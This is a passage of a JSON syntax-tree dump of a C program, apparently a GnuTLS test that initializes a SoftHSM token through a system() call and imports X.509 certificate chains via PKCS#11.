"type": "argument_list", "text": "(\"%d: %s\\n\", ret, gnutls_strerror(ret))", "parent": 287, "children": [290, 292, 293], "start_point": {"row": 113, "column": 6}, "end_point": {"row": 113, "column": 45}}, {"id": 290, "type": "string_literal", "text": "\"%d: %s\\n\"", "parent": 289, "children": [291], "start_point": {"row": 113, "column": 7}, "end_point": {"row": 113, "column": 17}}, {"id": 291, "type": "escape_sequence", "text": "\\n", "parent": 290, "children": [], "start_point": {"row": 113, "column": 14}, "end_point": {"row": 113, "column": 16}}, {"id": 292, "type": "identifier", "text": "ret", "parent": 289, "children": [], "start_point": {"row": 113, "column": 19}, "end_point": {"row": 113, "column": 22}}, {"id": 293, "type": "call_expression", "text": "gnutls_strerror(ret)", "parent": 289, "children": [294, 295], "start_point": {"row": 113, "column": 24}, "end_point": {"row": 113, "column": 44}}, {"id": 294, "type": "identifier", "text": "gnutls_strerror", "parent": 293, "children": [], "start_point": {"row": 113, "column": 24}, "end_point": {"row": 113, "column": 39}}, {"id": 295, "type": "argument_list", "text": "(ret)", "parent": 293, "children": [296], "start_point": {"row": 113, "column": 39}, "end_point": {"row": 113, "column": 44}}, {"id": 296, "type": "identifier", "text": "ret", "parent": 295, "children": [], "start_point": {"row": 113, "column": 40}, "end_point": {"row": 113, "column": 43}}, {"id": 297, "type": "call_expression", "text": "exit(1)", "parent": 281, "children": [298, 299], "start_point": {"row": 114, "column": 2}, "end_point": {"row": 114, "column": 9}}, {"id": 298, "type": "identifier", "text": "exit", "parent": 297, "children": [], "start_point": {"row": 114, "column": 2}, "end_point": {"row": 114, "column": 6}}, {"id": 299, "type": "argument_list", "text": "(1)", "parent": 297, "children": [300], "start_point": {"row": 114, "column": 6}, "end_point": {"row": 114, "column": 9}}, {"id": 300, "type": "number_literal", "text": "1", "parent": 299, "children": [], "start_point": {"row": 114, "column": 7}, "end_point": {"row": 114, "column": 8}}, {"id": 301, "type": "call_expression", "text": "gnutls_pkcs11_set_pin_function(pin_func, NULL)", "parent": 139, "children": [302, 303], "start_point": {"row": 117, "column": 1}, "end_point": {"row": 117, "column": 47}}, {"id": 302, "type": "identifier", "text": "gnutls_pkcs11_set_pin_function", "parent": 301, "children": [], "start_point": {"row": 117, "column": 1}, "end_point": {"row": 117, "column": 31}}, {"id": 303, "type": "argument_list", "text": "(pin_func, NULL)", "parent": 301, "children": [304, 305], "start_point": {"row": 117, "column": 31}, "end_point": {"row": 117, "column": 47}}, {"id": 304, "type": "identifier", "text": "pin_func", "parent": 303, "children": [], "start_point": {"row": 117, "column": 32}, "end_point": {"row": 117, "column": 40}}, {"id": 305, "type": "null", "text": "NULL", "parent": 303, "children": [306], "start_point": {"row": 117, "column": 42}, "end_point": {"row": 117, "column": 46}}, {"id": 306, "type": "NULL", "text": "NULL", "parent": 305, "children": [], "start_point": {"row": 117, "column": 42}, "end_point": {"row": 117, "column": 46}}, {"id": 307, "type": "call_expression", "text": "gnutls_global_set_time_function(mytime)", "parent": 139, "children": [308, 309], "start_point": {"row": 118, "column": 1}, "end_point": {"row": 118, "column": 40}}, {"id": 308, "type": "identifier", "text": "gnutls_global_set_time_function", "parent": 307, "children": [], "start_point": {"row": 118, "column": 1}, "end_point": {"row": 118, "column": 32}}, {"id": 309, "type": "argument_list", "text": "(mytime)", "parent": 307, "children": [310], "start_point": {"row": 118, "column": 32}, "end_point": {"row": 118, "column": 40}}, {"id": 310, "type": "identifier", "text": "mytime", "parent": 309, "children": [], "start_point": {"row": 118, "column": 33}, "end_point": {"row": 118, "column": 39}}, {"id": 311, "type": "call_expression", "text": "gnutls_global_set_log_function(tls_log_func)", "parent": 139, "children": [312, 313], "start_point": {"row": 119, "column": 1}, "end_point": {"row": 119, "column": 45}}, {"id": 312, "type": "identifier", "text": "gnutls_global_set_log_function", "parent": 311, "children": [], "start_point": {"row": 119, "column": 1}, "end_point": {"row": 119, "column": 31}}, {"id": 313, "type": "argument_list", "text": "(tls_log_func)", "parent": 311, "children": [314], "start_point": {"row": 119, "column": 31}, "end_point": {"row": 119, "column": 45}}, {"id": 314, "type": "identifier", "text": "tls_log_func", "parent": 313, "children": [], "start_point": {"row": 119, "column": 32}, "end_point": {"row": 119, "column": 44}}, {"id": 315, "type": "if_statement", "text": "if (debug)\n\t\tgnutls_global_set_log_level(4711);", "parent": 139, "children": [316], "start_point": {"row": 120, "column": 1}, "end_point": {"row": 121, "column": 36}}, {"id": 316, "type": "parenthesized_expression", "text": "(debug)", "parent": 315, "children": [317], "start_point": {"row": 120, "column": 4}, "end_point": {"row": 120, "column": 11}}, {"id": 317, "type": "identifier", "text": "debug", "parent": 316, "children": [], "start_point": {"row": 120, "column": 5}, "end_point": {"row": 120, "column": 10}}, {"id": 318, "type": "call_expression", "text": "gnutls_global_set_log_level(4711)", "parent": 315, "children": [319, 320], "start_point": {"row": 121, "column": 2}, "end_point": {"row": 121, "column": 35}}, {"id": 319, "type": "identifier", "text": "gnutls_global_set_log_level", "parent": 318, "children": [], "start_point": {"row": 121, "column": 2}, "end_point": {"row": 121, "column": 29}}, {"id": 320, "type": "argument_list", "text": "(4711)", "parent": 318, "children": [321], "start_point": {"row": 121, "column": 29}, "end_point": {"row": 121, "column": 35}}, {"id": 321, "type": "number_literal", "text": "4711", "parent": 320, "children": [], "start_point": {"row": 121, "column": 30}, "end_point": {"row": 121, "column": 34}}, {"id": 322, "type": "call_expression", "text": "set_softhsm_conf(CONFIG)", "parent": 139, "children": [323, 324], "start_point": {"row": 125, "column": 1}, "end_point": {"row": 125, "column": 25}}, {"id": 323, "type": "identifier", "text": "set_softhsm_conf", "parent": 322, "children": [], "start_point": {"row": 125, "column": 1}, "end_point": {"row": 125, "column": 17}}, {"id": 324, "type": "argument_list", "text": "(CONFIG)", "parent": 322, "children": [325], "start_point": {"row": 125, "column": 17}, "end_point": {"row": 125, "column": 25}}, {"id": 325, "type": "identifier", "text": "CONFIG", "parent": 324, "children": [], "start_point": {"row": 125, "column": 18}, "end_point": {"row": 125, "column": 24}}, {"id": 326, "type": "call_expression", "text": "snprintf(buf, sizeof(buf), \"%s --init-token --slot 0 --label test --so-pin \"PIN\" --pin \"PIN, bin)", "parent": 139, "children": [327, 328], "start_point": {"row": 126, "column": 1}, "end_point": {"row": 126, "column": 98}}, {"id": 327, "type": "identifier", "text": "snprintf", "parent": 326, "children": [], "start_point": {"row": 126, "column": 1}, "end_point": {"row": 126, "column": 9}}, {"id": 328, "type": "argument_list", "text": "(buf, sizeof(buf), \"%s --init-token --slot 0 --label test --so-pin \"PIN\" --pin \"PIN, bin)", "parent": 326, "children": [329, 330, 333, 338], "start_point": {"row": 126, "column": 9}, "end_point": {"row": 126, "column": 98}}, {"id": 329, "type": "identifier", "text": "buf", "parent": 328, "children": [], "start_point": {"row": 126, "column": 10}, "end_point": {"row": 126, "column": 13}}, {"id": 330, "type": "sizeof_expression", "text": "sizeof(buf)", "parent": 328, "children": [331], "start_point": {"row": 126, "column": 15}, "end_point": {"row": 126, "column": 26}}, {"id": 331, "type": "parenthesized_expression", "text": "(buf)", "parent": 330, "children": [332], "start_point": {"row": 126, "column": 21}, "end_point": {"row": 126, "column": 26}}, {"id": 332, "type": "identifier", "text": "buf", "parent": 331, "children": [], "start_point": {"row": 126, "column": 22}, "end_point": {"row": 126, "column": 25}}, {"id": 333, "type": "concatenated_string", "text": "\"%s --init-token --slot 0 --label test --so-pin \"PIN\" --pin \"PIN", "parent": 328, "children": [334, 335, 336, 337], "start_point": {"row": 126, "column": 28}, "end_point": {"row": 126, "column": 92}}, {"id": 334, "type": "string_literal", "text": "\"%s --init-token --slot 0 --label test --so-pin \"", "parent": 333, "children": [], "start_point": {"row": 126, "column": 28}, "end_point": {"row": 126, "column": 77}}, {"id": 335, "type": "identifier", "text": "PIN", "parent": 333, "children": [], "start_point": {"row": 126, "column": 77}, "end_point": {"row": 126, "column": 80}}, {"id": 336, "type": "string_literal", "text": "\" --pin \"", "parent": 333, "children": [], "start_point": {"row": 126, "column": 80}, "end_point": {"row": 126, "column": 89}}, {"id": 337, "type": "identifier", "text": "PIN", "parent": 333, "children": [], "start_point": {"row": 126, "column": 89}, "end_point": {"row": 126, "column": 92}}, {"id": 338, "type": "identifier", "text": "bin", "parent": 328, "children": [], "start_point": {"row": 126, "column": 94}, "end_point": {"row": 126, "column": 97}}, {"id": 339, "type": "call_expression", "text": "system(buf)", "parent": 139, "children": [340, 341], "start_point": {"row": 127, "column": 1}, "end_point": {"row": 127, "column": 12}}, {"id": 340, "type": "identifier", "text": "system", "parent": 339, "children": [], "start_point": {"row": 127, "column": 1}, "end_point": {"row": 127, "column": 7}}, {"id": 341, "type": "argument_list", "text": "(buf)", "parent": 339, "children": [342], "start_point": {"row": 127, "column": 7}, "end_point": {"row": 127, "column": 12}}, {"id": 342, "type": "identifier", "text": "buf", "parent": 341, "children": [], "start_point": {"row": 127, "column": 8}, "end_point": {"row": 127, "column": 11}}, {"id": 343, "type": "assignment_expression", "text": "ret = gnutls_pkcs11_add_provider(lib, \"trusted\")", "parent": 139, "children": [344, 345, 346], "start_point": {"row": 129, "column": 1}, "end_point": {"row": 129, "column": 49}}, {"id": 344, "type": "identifier", "text": "ret", "parent": 343, "children": [], "start_point": {"row": 129, "column": 1}, "end_point": {"row": 129, "column": 4}}, {"id": 345, "type": "=", "text": "=", "parent": 343, "children": [], "start_point": {"row": 129, "column": 5}, "end_point": {"row": 129, "column": 6}}, {"id": 346, "type": "call_expression", "text": "gnutls_pkcs11_add_provider(lib, \"trusted\")", "parent": 343, "children": [347, 348], "start_point": {"row": 129, "column": 7}, "end_point": {"row": 129, "column": 49}}, {"id": 347, "type": "identifier", "text": "gnutls_pkcs11_add_provider", "parent": 346, "children": [], "start_point": {"row": 129, "column": 7}, "end_point": {"row": 129, "column": 33}}, {"id": 348, "type": "argument_list", "text": "(lib, \"trusted\")", "parent": 346, "children": [349, 350], "start_point": {"row": 129, "column": 33}, "end_point": {"row": 129, "column": 49}}, {"id": 349, "type": "identifier", "text": "lib", "parent": 348, "children": [], "start_point": {"row": 129, "column": 34}, "end_point": {"row": 129, "column": 37}}, {"id": 350, "type": "string_literal", "text": "\"trusted\"", "parent": 348, "children": [], "start_point": {"row": 129, "column": 39}, "end_point": {"row": 129, "column": 48}}, {"id": 351, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}", "parent": 139, "children": [352], "start_point": {"row": 130, "column": 1}, "end_point": {"row": 134, "column": 2}}, {"id": 352, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 351, "children": [353], "start_point": {"row": 130, "column": 4}, "end_point": {"row": 130, "column": 13}}, {"id": 353, "type": "binary_expression", "text": "ret < 0", "parent": 352, "children": [354, 355, 356], "start_point": {"row": 130, "column": 5}, "end_point": {"row": 130, "column": 12}}, {"id": 354, "type": "identifier", "text": "ret", "parent": 353, "children": [], "start_point": {"row": 130, "column": 5}, "end_point": {"row": 130, "column": 8}}, {"id": 355, "type": "<", "text": "<", "parent": 353, "children": [], "start_point": {"row": 130, "column": 9}, "end_point": {"row": 130, "column": 10}}, {"id": 356, "type": "number_literal", "text": "0", "parent": 353, "children": [], "start_point": {"row": 130, "column": 11}, "end_point": {"row": 130, "column": 12}}, {"id": 357, "type": "call_expression", "text": "fprintf(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret))", "parent": 351, "children": [358, 359], "start_point": {"row": 131, "column": 2}, "end_point": {"row": 132, "column": 24}}, {"id": 358, "type": "identifier", "text": "fprintf", "parent": 357, "children": [], "start_point": {"row": 131, "column": 2}, "end_point": {"row": 131, "column": 9}}, {"id": 359, "type": "argument_list", "text": "(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret))", "parent": 357, "children": [360, 361, 363], "start_point": {"row": 131, "column": 9}, "end_point": {"row": 132, "column": 24}}, {"id": 360, "type": "identifier", "text": "stderr", "parent": 359, "children": [], "start_point": {"row": 131, "column": 10}, "end_point": {"row": 131, "column": 16}}, {"id": 361, "type": "string_literal", "text": "\"gnutls_x509_crt_init: %s\\n\"", "parent": 359, "children": [362], "start_point": {"row": 131, "column": 18}, "end_point": {"row": 131, "column": 46}}, {"id": 362, "type": "escape_sequence", "text": "\\n", "parent": 361, "children": [], "start_point": {"row": 131, "column": 43}, "end_point": {"row": 131, "column": 45}}, {"id": 363, "type": "call_expression", "text": "gnutls_strerror(ret)", "parent": 359, "children": [364, 365], "start_point": {"row": 132, "column": 3}, "end_point": {"row": 132, "column": 23}}, {"id": 364, "type": "identifier", "text": "gnutls_strerror", "parent": 363, "children": [], "start_point": {"row": 132, "column": 3}, "end_point": {"row": 132, "column": 18}}, {"id": 365, "type": "argument_list", "text": "(ret)", "parent": 363, "children": [366], "start_point": {"row": 132, "column": 18}, "end_point": {"row": 132, "column": 23}}, {"id": 366, "type": "identifier", "text": "ret", "parent": 365, "children": [], "start_point": {"row": 132, "column": 19}, "end_point": {"row": 132, "column": 22}}, {"id": 367, "type": "call_expression", "text": "exit(1)", "parent": 351, "children": [368, 369], "start_point": {"row": 133, "column": 2}, "end_point": {"row": 133, "column": 9}}, {"id": 368, "type": "identifier", "text": "exit", "parent": 367, "children": [], "start_point": {"row": 133, "column": 2}, "end_point": {"row": 133, "column": 6}}, {"id": 369, "type": "argument_list", "text": "(1)", "parent": 367, "children": [370], "start_point": {"row": 133, "column": 6}, "end_point": {"row": 133, "column": 9}}, {"id": 370, "type": "number_literal", "text": "1", "parent": 369, "children": [], "start_point": {"row": 133, "column": 7}, "end_point": {"row": 133, "column": 8}}, {"id": 371, "type": "for_statement", "text": "for (j = 0; chains[idx].chain[j]; j++) {\n\t\tif (debug > 2)\n\t\t\tprintf(\"\\tAdding certificate %d...\",\n\t\t\t (int) j);\n\n\t\tret = gnutls_x509_crt_init(&certs[j]);\n\t\tif (ret < 0) {\n\t\t\tfprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_init[%d,%d]: %s\\n\",\n\t\t\t\t(int) 3, (int) j,\n\t\t\t\tgnutls_strerror(ret));\n\t\t\texit(1);\n\t\t}\n\n\t\ttmp.data = (unsigned char *) chains[idx].chain[j];\n\t\ttmp.size = strlen(chains[idx].chain[j]);\n\n\t\tret =\n\t\t gnutls_x509_crt_import(certs[j], &tmp,\n\t\t\t\t\t GNUTLS_X509_FMT_PEM);\n\t\tif (debug > 2)\n\t\t\tprintf(\"done\\n\");\n\t\tif (ret < 0) {\n\t\t\tfprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_import[%s,%d]: %s\\n\",\n\t\t\t\tchains[idx].name, (int) j,\n\t\t\t\tgnutls_strerror(ret));\n\t\t\texit(1);\n\t\t}\n\n\t\tgnutls_x509_crt_print(certs[j],\n\t\t\t\t GNUTLS_CRT_PRINT_ONELINE,\n\t\t\t\t &tmp);\n\t\tif (debug)\n\t\t\tprintf(\"\\tCertificate %d: %.*s\\n\", (int) j,\n\t\t\t tmp.size, tmp.data);\n\t\tgnutls_free(tmp.data);\n\t}", "parent": 139, "children": [372, 376, 383], "start_point": {"row": 136, "column": 1}, "end_point": {"row": 173, "column": 2}}, {"id": 372, "type": "assignment_expression", "text": "j = 0", "parent": 371, "children": [373, 374, 375], "start_point": {"row": 136, "column": 6}, "end_point": {"row": 136, "column": 11}}, {"id": 373, "type": "identifier", "text": "j", "parent": 372, "children": [], "start_point": {"row": 136, "column": 6}, "end_point": {"row": 136, "column": 7}}, {"id": 374, "type": "=", "text": "=", "parent": 372, "children": [], "start_point": {"row": 136, "column": 8}, "end_point": {"row": 136, "column": 9}}, {"id": 375, "type": "number_literal", "text": "0", "parent": 372, "children": [], "start_point": {"row": 136, "column": 10}, "end_point": {"row": 136, "column": 11}}, {"id": 376, "type": "subscript_expression", "text": "chains[idx].chain[j]", "parent": 371, "children": [377, 382], "start_point": {"row": 136, "column": 13}, "end_point": {"row": 136, "column": 33}}, {"id": 377, "type": "field_expression", "text": "chains[idx].chain", "parent": 376, "children": [378, 381], "start_point": {"row": 136, "column": 13}, "end_point": {"row": 136, "column": 30}}, {"id": 378, "type": "subscript_expression", "text": "chains[idx]", "parent": 377, "children": [379, 380], "start_point": {"row": 136, "column": 13}, "end_point": {"row": 136, "column": 24}}, {"id": 379, "type": "identifier", "text": "chains", "parent": 378, "children": [], "start_point": {"row": 136, "column": 13}, "end_point": {"row": 136, "column": 19}}, {"id": 380, "type": "identifier", "text": "idx", "parent": 378, "children": [], "start_point": {"row": 136, "column": 20}, "end_point": {"row": 136, "column": 23}}, {"id": 381, "type": "field_identifier", "text": "chain", "parent": 377, "children": [], "start_point": {"row": 136, "column": 25}, "end_point": {"row": 136, "column": 30}}, {"id": 382, "type": "identifier", "text": "j", "parent": 376, "children": [], "start_point": {"row": 136, "column": 31}, "end_point": {"row": 136, "column": 32}}, {"id": 383, "type": "update_expression", "text": "j++", "parent": 371, "children": [384, 385], "start_point": {"row": 136, "column": 35}, "end_point": {"row": 136, "column": 38}}, {"id": 384, "type": "identifier", "text": "j", "parent": 383, "children": [], "start_point": {"row": 136, "column": 35}, "end_point": {"row": 136, "column": 36}}, {"id": 385, "type": "++", "text": "++", "parent": 383, "children": [], "start_point": {"row": 136, "column": 36}, "end_point": {"row": 136, "column": 38}}, {"id": 386, "type": "if_statement", "text": "if (debug > 2)\n\t\t\tprintf(\"\\tAdding certificate %d...\",\n\t\t\t (int) j);", "parent": 371, "children": [387], "start_point": {"row": 137, "column": 2}, "end_point": {"row": 139, "column": 19}}, {"id": 387, "type": "parenthesized_expression", "text": "(debug > 2)", "parent": 386, "children": [388], "start_point": {"row": 137, "column": 5}, "end_point": {"row": 137, "column": 16}}, {"id": 388, "type": "binary_expression", "text": "debug > 2", "parent": 387, "children": [389, 390, 391], "start_point": {"row": 137, "column": 6}, "end_point": {"row": 137, "column": 15}}, {"id": 389, "type": "identifier", "text": "debug", "parent": 388, "children": [], "start_point": {"row": 137, "column": 6}, "end_point": {"row": 137, "column": 11}}, {"id": 390, "type": ">", "text": ">", "parent": 388, "children": [], "start_point": {"row": 137, "column": 12}, "end_point": {"row": 137, "column": 13}}, {"id": 391, "type": "number_literal", "text": "2", "parent": 388, "children": [], "start_point": {"row": 137, "column": 14}, "end_point": {"row": 137, "column": 15}}, {"id": 392, "type": "call_expression", "text": "printf(\"\\tAdding certificate %d...\",\n\t\t\t (int) j)", "parent": 386, "children": [393, 394], "start_point": {"row": 138, "column": 3}, "end_point": {"row": 139, "column": 18}}, {"id": 393, "type": "identifier", "text": "printf", "parent": 392, "children": [], "start_point": {"row": 138, "column": 3}, "end_point": {"row": 138, "column": 9}}, {"id": 394, "type": "argument_list", "text": "(\"\\tAdding certificate %d...\",\n\t\t\t (int) j)", "parent": 392, "children": [395, 397], "start_point": {"row": 138, "column": 9}, "end_point": {"row": 139, "column": 18}}, {"id": 395, "type": "string_literal", "text": "\"\\tAdding certificate %d...\"", "parent": 394, "children": [396], "start_point": {"row": 138, "column": 10}, "end_point": {"row": 138, "column": 38}}, {"id": 396, "type": "escape_sequence", "text": "\\t", "parent": 395, "children": [], "start_point": {"row": 138, "column": 11}, "end_point": {"row": 138, "column": 13}}, {"id": 397, "type": "cast_expression", "text": "(int) j", "parent": 394, "children": [398, 400], "start_point": {"row": 139, "column": 10}, "end_point": {"row": 139, "column": 17}}, {"id": 398, "type": "type_descriptor", "text": "int", "parent": 397, "children": [399], "start_point": {"row": 139, "column": 11}, "end_point": {"row": 139, "column": 14}}, {"id": 399, "type": "primitive_type", "text": "int", "parent": 398, "children": [], "start_point": {"row": 139, "column": 11}, "end_point": {"row": 139, "column": 14}}, {"id": 400, "type": "identifier", "text": "j", "parent": 397, "children": [], "start_point": {"row": 139, "column": 16}, "end_point": {"row": 139, "column": 17}}, {"id": 401, "type": "assignment_expression", "text": "ret = gnutls_x509_crt_init(&certs[j])", "parent": 371, "children": [402, 403, 404], "start_point": {"row": 141, "column": 2}, "end_point": {"row": 141, "column": 39}}, {"id": 402, "type": "identifier", "text": "ret", "parent": 401, "children": [], "start_point": {"row": 141, "column": 2}, "end_point": {"row": 141, "column": 5}}, {"id": 403, "type": "=", "text": "=", "parent": 401, "children": [], "start_point": {"row": 141, "column": 6}, "end_point": {"row": 141, "column": 7}}, {"id": 404, "type": "call_expression", "text": "gnutls_x509_crt_init(&certs[j])", "parent": 401, "children": [405, 406], "start_point": {"row": 141, "column": 8}, "end_point": {"row": 141, "column": 39}}, {"id": 405, "type": "identifier", "text": "gnutls_x509_crt_init", "parent": 404, "children": [], "start_point": {"row": 141, "column": 8}, "end_point": {"row": 141, "column": 28}}, {"id": 406, "type": "argument_list", "text": "(&certs[j])", "parent": 404, "children": [407], "start_point": {"row": 141, "column": 28}, "end_point": {"row": 141, "column": 39}}, {"id": 407, "type": "pointer_expression", "text": "&certs[j]", "parent": 406, "children": [408], "start_point": {"row": 141, "column": 29}, "end_point": {"row": 141, "column": 38}}, {"id": 408, "type": "subscript_expression", "text": "certs[j]", "parent": 407, "children": [409, 410], "start_point": {"row": 141, "column": 30}, "end_point": {"row": 141, "column": 38}}, {"id": 409, "type": "identifier", "text": "certs", "parent": 408, "children": [], "start_point": {"row": 141, "column": 30}, "end_point": {"row": 141, "column": 35}}, {"id": 410, "type": "identifier", "text": "j", "parent": 408, "children": [], "start_point": {"row": 141, "column": 36}, "end_point": {"row": 141, "column": 37}}, {"id": 411, "type": "if_statement", "text": "if (ret < 0) {\n\t\t\tfprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_init[%d,%d]: %s\\n\",\n\t\t\t\t(int) 3, (int) j,\n\t\t\t\tgnutls_strerror(ret));\n\t\t\texit(1);\n\t\t}", "parent": 371, "children": [412], "start_point": {"row": 142, "column": 2}, "end_point": {"row": 148, "column": 3}}, {"id": 412, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 411, "children": [413], "start_point": {"row": 142, "column": 5}, "end_point": {"row": 142, "column": 14}}, {"id": 413, "type": "binary_expression", "text": "ret < 0", "parent": 412, "children": [414, 415, 416], "start_point": {"row": 142, "column": 6}, "end_point": {"row": 142, "column": 13}}, {"id": 414, "type": "identifier", "text": "ret", "parent": 413, "children": [], "start_point": {"row": 142, "column": 6}, "end_point": {"row": 142, "column": 9}}, {"id": 415, "type": "<", "text": "<", "parent": 413, "children": [], "start_point": {"row": 142, "column": 10}, "end_point": {"row": 142, "column": 11}}, {"id": 416, "type": "number_literal", "text": "0", "parent": 413, "children": [], "start_point": {"row": 142, "column": 12}, "end_point": {"row": 142, "column": 13}}, {"id": 417, "type": "call_expression", "text": "fprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_init[%d,%d]: %s\\n\",\n\t\t\t\t(int) 3, (int) j,\n\t\t\t\tgnutls_strerror(ret))", "parent": 411, "children": [418, 419], "start_point": {"row": 143, "column": 3}, "end_point": {"row": 146, "column": 25}}, {"id": 418, "type": "identifier", "text": "fprintf", "parent": 417, "children": [], "start_point": {"row": 143, "column": 3}, "end_point": {"row": 143, "column": 10}}, {"id": 419, "type": "argument_list", "text": "(stderr,\n\t\t\t\t\"gnutls_x509_crt_init[%d,%d]: %s\\n\",\n\t\t\t\t(int) 3, (int) j,\n\t\t\t\tgnutls_strerror(ret))", "parent": 417, "children": [420, 421, 423, 427, 431], "start_point": {"row": 143, "column": 10}, "end_point": {"row": 146, "column": 25}}, {"id": 420, "type": "identifier", "text": "stderr", "parent": 419, "children": [], "start_point": {"row": 143, "column": 11}, "end_point": {"row": 143, "column": 17}}, {"id": 421, "type": "string_literal", "text": "\"gnutls_x509_crt_init[%d,%d]: %s\\n\"", "parent": 419, "children": [422], "start_point": {"row": 144, "column": 4}, "end_point": {"row": 144, "column": 39}}, {"id": 422, "type": "escape_sequence", "text": "\\n", "parent": 421, "children": [], "start_point": {"row": 144, "column": 36}, "end_point": {"row": 144, "column": 38}}, {"id": 423, "type": "cast_expression", "text": "(int) 3", "parent": 419, "children": [424, 426], "start_point": {"row": 145, "column": 4}, "end_point": {"row": 145, "column": 11}}, {"id": 424, "type": "type_descriptor", "text": "int", "parent": 423, "children": [425], "start_point": {"row": 145, "column": 5}, "end_point": {"row": 145, "column": 8}}, {"id": 425, "type": "primitive_type", "text": "int", "parent": 424, "children": [], "start_point": {"row": 145, "column": 5}, "end_point": {"row": 145, "column": 8}}, {"id": 426, "type": "number_literal", "text": "3", "parent": 423, "children": [], "start_point": {"row": 145, "column": 10}, "end_point": {"row": 145, "column": 11}}, {"id": 427, "type": "cast_expression", "text": "(int) j", "parent": 419, "children": [428, 430], "start_point": {"row": 145, "column": 13}, "end_point": {"row": 145, "column": 20}}, {"id": 428, "type": "type_descriptor", "text": "int", "parent": 427, "children": [429], "start_point": {"row": 145, "column": 14}, "end_point": {"row": 145, "column": 17}}, {"id": 429, "type": "primitive_type", "text": "int", "parent": 428, "children": [], "start_point": {"row": 145, "column": 14}, "end_point": {"row": 145, "column": 17}}, {"id": 430, "type": "identifier", "text": "j", "parent": 427, "children": [], "start_point": {"row": 145, "column": 19}, "end_point": {"row": 145, "column": 20}}, {"id": 431, "type": "call_expression", "text": "gnutls_strerror(ret)", "parent": 419, "children": [432, 433], "start_point": {"row": 146, "column": 4}, "end_point": {"row": 146, "column": 24}}, {"id": 432, "type": "identifier", "text": "gnutls_strerror", "parent": 431, "children": [], "start_point": {"row": 146, "column": 4}, "end_point": {"row": 146, "column": 19}}, {"id": 433, "type": "argument_list", "text": "(ret)", "parent": 431, "children": [434], "start_point": {"row": 146, "column": 19}, "end_point": {"row": 146, "column": 24}}, {"id": 434, "type": "identifier", "text": "ret", "parent": 433, "children": [], "start_point": {"row": 146, "column": 20}, "end_point": {"row": 146, "column": 23}}, {"id": 435, "type": "call_expression", "text": "exit(1)", "parent": 411, "children": [436, 437], "start_point": {"row": 147, "column": 3}, "end_point": {"row": 147, "column": 10}}, {"id": 436, "type": "identifier", "text": "exit", "parent": 435, "children": [], "start_point": {"row": 147, "column": 3}, "end_point": {"row": 147, "column": 7}}, {"id": 437, "type": "argument_list", "text": "(1)", "parent": 435, "children": [438], "start_point": {"row": 147, "column": 7}, "end_point": {"row": 147, "column": 10}}, {"id": 438, "type": "number_literal", "text": "1", "parent": 437, "children": [], "start_point": {"row": 147, "column": 8}, "end_point": {"row": 147, "column": 9}}, {"id": 439, "type": "assignment_expression", "text": "tmp.data = (unsigned char *) chains[idx].chain[j]", "parent": 371, "children": [440, 443, 444], "start_point": {"row": 150, "column": 2}, "end_point": {"row": 150, "column": 51}}, {"id": 440, "type": "field_expression", "text": "tmp.data", "parent": 439, "children": [441, 442], "start_point": {"row": 150, "column": 2}, "end_point": {"row": 150, "column": 10}}, {"id": 441, "type": "identifier", "text": "tmp", "parent": 440, "children": [], "start_point": {"row": 150, "column": 2}, "end_point": {"row": 150, "column": 5}}, {"id": 442, "type": "field_identifier", "text": "data", "parent": 440, "children": [], "start_point": {"row": 150, "column": 6}, "end_point": {"row": 150, "column": 10}}, {"id": 443, "type": "=", "text": "=", "parent": 439, "children": [], "start_point": {"row": 150, "column": 11}, "end_point": {"row": 150, "column": 12}}, {"id": 444, "type": "cast_expression", "text": "(unsigned char *) chains[idx].chain[j]", "parent": 439, "children": [445, 451], "start_point": {"row": 150, "column": 13}, "end_point": {"row": 150, "column": 51}}, {"id": 445, "type": "type_descriptor", "text": "unsigned char *", "parent": 444, "children": [446, 449], "start_point": {"row": 150, "column": 14}, "end_point": {"row": 150, "column": 29}}, {"id": 446, "type": "sized_type_specifier", "text": "unsigned char", "parent": 445, "children": [447, 448], "start_point": {"row": 150, "column": 14}, "end_point": {"row": 150, "column": 27}}, {"id": 447, "type": "unsigned", "text": "unsigned", "parent": 446, "children": [], "start_point": {"row": 150, "column": 14}, "end_point": {"row": 150, "column": 22}}, {"id": 448, "type": "primitive_type", "text": "char", "parent": 446, "children": [], "start_point": {"row": 150, "column": 23}, "end_point": {"row": 150, "column": 27}}, {"id": 449, "type": "abstract_pointer_declarator", "text": "*", "parent": 445, "children": [450], "start_point": {"row": 150, "column": 28}, "end_point": {"row": 150, "column": 29}}, {"id": 450, "type": "*", "text": "*", "parent": 449, "children": [], "start_point": {"row": 150, "column": 28}, "end_point": {"row": 150, "column": 29}}, {"id": 451, "type": "subscript_expression", "text": "chains[idx].chain[j]", "parent": 444, "children": [452, 457], "start_point": {"row": 150, "column": 31}, "end_point": {"row": 150, "column": 51}}, {"id": 452, "type": "field_expression", "text": "chains[idx].chain", "parent": 451, "children": [453, 456], "start_point": {"row": 150, "column": 31}, "end_point": {"row": 150, "column": 48}}, {"id": 453, "type": "subscript_expression", "text": "chains[idx]", "parent": 452, "children": [454, 455], "start_point": {"row": 150, "column": 31}, "end_point": {"row": 150, "column": 42}}, {"id": 454, "type": "identifier", "text": "chains", "parent": 453, "children": [], "start_point": {"row": 150, "column": 31}, "end_point": {"row": 150, "column": 37}}, {"id": 455, "type": "identifier", "text": "idx", "parent": 453, "children": [], "start_point": {"row": 150, "column": 38}, "end_point": {"row": 150, "column": 41}}, {"id": 456, "type": "field_identifier", "text": "chain", "parent": 452, "children": [], "start_point": {"row": 150, "column": 43}, "end_point": {"row": 150, "column": 48}}, {"id": 457, "type": "identifier", "text": "j", "parent": 451, "children": [], "start_point": {"row": 150, "column": 49}, "end_point": {"row": 150, "column": 50}}, {"id": 458, "type": "assignment_expression", "text": "tmp.size = strlen(chains[idx].chain[j])", "parent": 371, "children": [459, 462, 463], "start_point": {"row": 151, "column": 2}, "end_point": {"row": 151, "column": 41}}, {"id": 459, "type": "field_expression", "text": "tmp.size", "parent": 458, "children": [460, 461], "start_point": {"row": 